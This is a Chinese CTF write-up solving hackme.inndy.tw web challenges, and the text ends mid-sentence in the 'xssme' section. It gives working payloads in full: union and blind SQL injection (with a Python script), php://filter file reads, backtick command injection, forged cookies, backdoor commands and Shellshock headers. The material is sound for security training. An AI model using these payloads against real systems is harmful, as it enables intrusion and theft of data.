记hackeme做题
hide and seek
查看源代码,搜索flag,看到flag
guestbook
简单的SQL,进去看到一句no data,点击new post可以插入新的数据,然后再回到message list可以看到刚才插入的数据,点进去阅读,看到可疑的URL:?mod=read&id=216。
尝试注入:id=216 order by 1,一直尝试到id=216 order by 5发生错误,看不到数据,确定字段数为4。
继续注入,
id=0 union select 1,2,3,group_concat(talbe/column_name)from(information_schema.table/column)where(table_schema)in(database())
最后在flag表的flag字段中拿到flag
LFI
随便点点发现?page=pages/login类似于文件包含点的地方,尝试php伪协议,访问
?page=php://filter/read=convert.base64-encode/resource=pages/login
base64解码一下,看到关键源码
if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {
echo $flag;
}
把MD5值拿去网上解密一下,拿到明文为passw0rd
提交user=admin&pass=passw0rd,拿到flag
homepage
在F12控制台看到二维码,扫码拿到flag
ping
命令执行,过滤了很多用于连接命令的字符,但是反引号没有被过滤,我们可以使用反引号来执行我们的命令
反引号在linux命令行的作用是执行中间的命令,并将执行后的结果取代反引号命令,然后再执行外面的命令
构造?ip=`ls`即可看到目录下的flag.php,然后构造?ip=`tac *`拿到flag
顺带一提的是,本地测试的时候,这样拼接命令,如果目录下文件过多或者读取的文件过长就只会返回错误信息,不会得到执行结果。得到结果也只能拿到第一个文件的文件名,读取也只能读取到一行的数据。
scoreboard
在http头的x-flag中看到flag
login as admin 0
SQL题,进去后看到登录页面,点击查看源码,几乎没有过滤,用\'代替',提交
name=\'union select 1,1,1,1#&password=a
拿到flag
login as admin 0.1
因为在登录后看的到回显的2,所以一步步注入
name=admin\'union select 1,group_concat(table/column_name),3,4 from information_schema.tables/columns where table_schema=database()#&password=1
最后知道flag在h1dden_f14g表的the_f14g字段里,然后select出flag
login as admin 1
跟0没有什么不同,关键词匹配都是跟空格一起匹配的,那就将空格换成%0a,提交
name=\'union%0aselect%0a1,2,3,4#&password=1
拿到flag
login as admin 1.2
盲注题目,贴个脚本
# -*- coding:utf8 -*-
import requests
myd = requests.session()
header = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
}
url ="https://hackme.inndy.tw/login1/"
true ="You are not admin!"
#database() 15 login_as_admin1
#0bdb54c98123f5526ccaed982d2006a9,users
#id,4a391a11cfa831ca740cf8d00782f3a6,id,name,password,isadmin
result =""
count =0
for xin range(250):
print "[+]...testing " +str(x +1)
for yin range(32,127):
payload ="\\'or(ascii(mid((select group_concat(4a391a11cfa831ca740cf8d00782f3a6) from 0bdb54c98123f5526ccaed982d2006a9),%s,1))=%s)#"%(x +1,y)
payload = payload.replace(" ",chr(0x0a))
data = {
"name": payload,
"password":123
}
mys = myd.post(url,data=data,headers=header).text
if truein mys:
result = result +chr(y)
print "the result is: " + result
break
count = y
if count ==126:
print "[√]the result is: " + result
break
login as admin 3
查看源码,简单审计一下代码
登录后会在cookei里set一个字符串,该字符串base64、json解码后会是有两个键的数组,分别是data和sig,如果sig和密钥加密后的data==,并且在data经过json解码后产生的数组中,键1的值要==true
这里可以用0==几乎任何字符串的方式,来进行弱类型匹配绕过密钥加密
我们用guest进行登录,拿到cookie后进行编程修改,获得新的cookie
eyJzaWciOjAsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0=
修改cookie访问,拿到flag
login as admin 4
查看源码,要拿到flag,要求post提交user为admin,但同时如果post提交的password不===服务器的password变量,就会强制跳转。
跳转可以用抓包来绕过,但是这个网址是https网址,用bp抓包有点麻烦,所以我们使用curl,这时就不需要password了
执行curl -d "name=admin" https://hackme.inndy.tw/login4/,拿到flag
login as admin 6
审计下源码,构造数据
得到data={"users":{"admin":1},"password":1,"username":"admin"},提交,拿到flag
login as admin 7
审计源码,还是弱类型匹配,利用0exxxxxxx==0,提交name=admin&password=s878926199a,拿到flag
dafuq-manager 1
打开网址,用提示的guest/guest登陆进去,看到一个see-me-if-you-need-tips.txt,提示我们创建一个值为me键为help的cookie。用firebug创建cookie,然后调一下过期时间,看到下一句提示"Very good. You know how to create cookie. How about tamper a cookie?",在cookie中看到可疑的show_hidden参数为no,将其改为yes,再次访问。在.good.job.here.is.your.hidden.flag-1.txt中拿到flag
dafuq-manager 2
这道题要求我们用管理员账号m进行登录,下载源码压缩包后审计一下源码。可以得知登录的处理逻辑是从.config文件夹中的.htusers.php中获取到用户信息,然后与我们提交的用户名和密码进行比对,如果用户名存在、密码相等且存放的$GLOBALS["users"][$i][7]为1,就登录成功。因为数据存储在文件里,所以我们就无法进行SQL注入,虽然密码相等判断用的是==,但是由于密码会进行MD5加密的原因,也无法绕过,所以思路还是去到拿到.htusers文件上去。
首先是下载,追踪到fun_down.php,发现stristr($abs_item, '.php'),那想要下载,htusers.php基本是没戏了。
然后是读取,搜索file_get_content,include,require等函数,其中readfile函数在fun_down.php里面无法使用,而f可读的open函数在两个地方都有,但是在lib_zip.php中的那个无法输出所读取到的数据,所以我们去简单看看fun_edit.php中的edit_file方法,这里会将读取的数据输出
接下来详细审计一下代码,
最前面的($GLOBALS["permissions"] & 01) != 01条件可以去掉,因为我们guest用户的permissions为1
接下來的get_is_file函数调用了is_file,这个可以无视
然后是get_show_item,
第一条可以将cookie中的show_hidden改为yes绕过,
第二条的$GLOBALS["no_access"]在.htusers里可以看到,为后缀是.ht的文件,可以无视
第三条的$GLOBALS["show_hidden"]在.htusers中可以看到,为0,所以dir中不能含有/.,不过item就没有这个限制了,我们可以将../../这些写在item里来绕过
接下来是file_in_web函数,要求是不能读取这个项目以外的文件,可以无视
然后我们不需要savefile什么的,就跳过接下来的一大段代码
最后,开始构造?action=edit&item=../../.config/.htusers.php&dir=,即可读到文件内容,拿到admin的密码34af0d074b17f44d1bb939765b02776f,拿去MD5解密一下,拿到明文how do you turn this on,然后登录管理员账号,访问.flag-2_(´・ω・`).txt拿到flag
dafuq-manager 3
题目提示说Get a shell to find flag 3,也就是说在源码里有隐藏的后门,我们搜索一波执行命令的函数,发现system,exec,assert都无法使用,最后在fun_debug中找到一处evil的利用点
密钥可以在下载到的源码里面找到,是KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3,很神奇
我们可以自己写一个脚本来生成cmd,具体参考make_command方法
strcmp可以用数组来绕过,这样就会返回false了
关键词过滤可以用拼接来绕过
尝试用ls命令
action=debug&dir[]=&command=JGE9InN5c3QiOyRiPSJlbSI7JGM9JGEuJGI7JGMoImxzIik7.516a67c2e080bd0d1c91a4a4ef68734f1ed0aa404991cbb2a4f1751c510f09b9,看到目录下有flag3目录
继续,看到flag3/flag3,但是直接cat好像读取不到,这是看到目录下还有一个c程序,猜测是用这个文件读取
action=debug&dir[]=&command=JGE9InN5c3QiOyRiPSJlbSI7JGM9JGEuJGI7JGMoIi4vZmxhZzMvbWVvdyAuL2ZsYWczL2ZsYWczIik7.dd5112e1ee879d74e3f5434e368ceeeae2893bd77a23de7ed8a742cf406a9094
拿到flag
wordpress 1
一个看起来像是用wordpress搭建的博客,在一篇名为Backup File的博文里可以下载到博客源码
审计源码......代码量好大好多啊
在wp-content/plugins/core.php里面可以看到一个可疑的方法
把MD5去解密一下,拿到明文cat flag,修改一下XFF,然后访问
https://wp.hackme.inndy.tw/?passw0rd=cat%20flag
查看源代码,拿到flag
wordpress 2
如果继续翻翻博文,在page2里可以看到一篇受保护的文章flag2,需要密码才能看到内容,看来是要从源码里找个
后门来绕过密码了
继续翻看源码......
在wp-content/themes/astrid/template-parts/content-search.php看到可疑代码
把post提交的什么东西处理之后,将数据输出在了注释里面
搜索一波$post->post_,看到一些参数
尝试get提交debug为title,因为这句疑似后门的代码在search中,所以应该是要搜索才能触发这个后门,我们访问https://wp.hackme.inndy.tw/page/2?s=&debug=title
可以看到FLAG2的title,那就很明了了,访问https://wp.hackme.inndy.tw/page/2?s=&debug=content,拿到flag
webshell
点进去,看到一篇空白,查看网页源代码,发现行数很奇怪,拉到最下面可以看到源码
解码一下好了,看到肉眼能看懂的源代码
由于要用到remote_addr,所以我们可以在自己的VPS上布置一个PHP,然后访问它来获得payload
然后就去找flag吧
有点坑的是,真正的flag被隐藏了,ls要加上点参数选项才能看到,访问
cmd=%06%05%10%11H%5BMPYPR
&sig=d49331e8571775ed4c1842a1b478dc036d513b5c867992267859b876211b4f8b1ccb7915e7638925b08e960c5a6b8511e1a657b5619f82a9c76d21b5bdf107d2
拿到flag
command-executor
进去后随便点点,cmd可以执行命令,但是只能执行两个命令,List-files可以看到目录下的文件,修改file参数可以查看任意目录,此时可以发现index.php?func=man等URL中的参数值都是目录下的php文件名,猜测存在文件包含
访问index.php?func=php://filter/read=convert.base64-encode/resource=index,可以拿到源码,看下源码会发现一个奇怪的函数
putenv("$key=$val")
效果是配置环境变量
这是一道CVE题目,漏洞是破壳漏洞,参考:
https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php
http://www.freebuf.com/articles/system/45390.html
首先测试一波,添加http头
然后访问https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env,服务器就会先将我们带有的恶意http头写入环境变量,然后在执行bash命令的时候就会触发这个漏洞了,同理,访问https://command-executor.hackme.inndy.tw/index.php?func=ls同样可以触发漏洞
命令执行成功,然后我们一步步走下去就好了
我们在根目录下看到flag,但是该文件的权限是-r--------,也就是只有root才能读取,这时应该就需要同目录下的flag-reader来读取flag了,用?通配符绕过对"flag"这个字符串的过滤,也可以尝试用拼接命令来绕过(比如: a = l;b = s;c = ${a}${b};${c} ),我们先看看这个程序的逻辑
要求是在1s内将程序输出的16个随机数又输入回去,人的肉体应该是办不到的,需要借助其他力量了
用文件来解决,先
() { : ; };/?lag-reader /?lag > /var/tmp/moon < /var/tmp/moon
然后
() { : ; };/bin/cat /var/tmp/moon
拿到flag
xssme
注册登陆一下,看到主页有三个功能,发邮件,收件箱和发件箱,可以发邮件给admin,看起来是一道xss的题目
简单地试一下,发现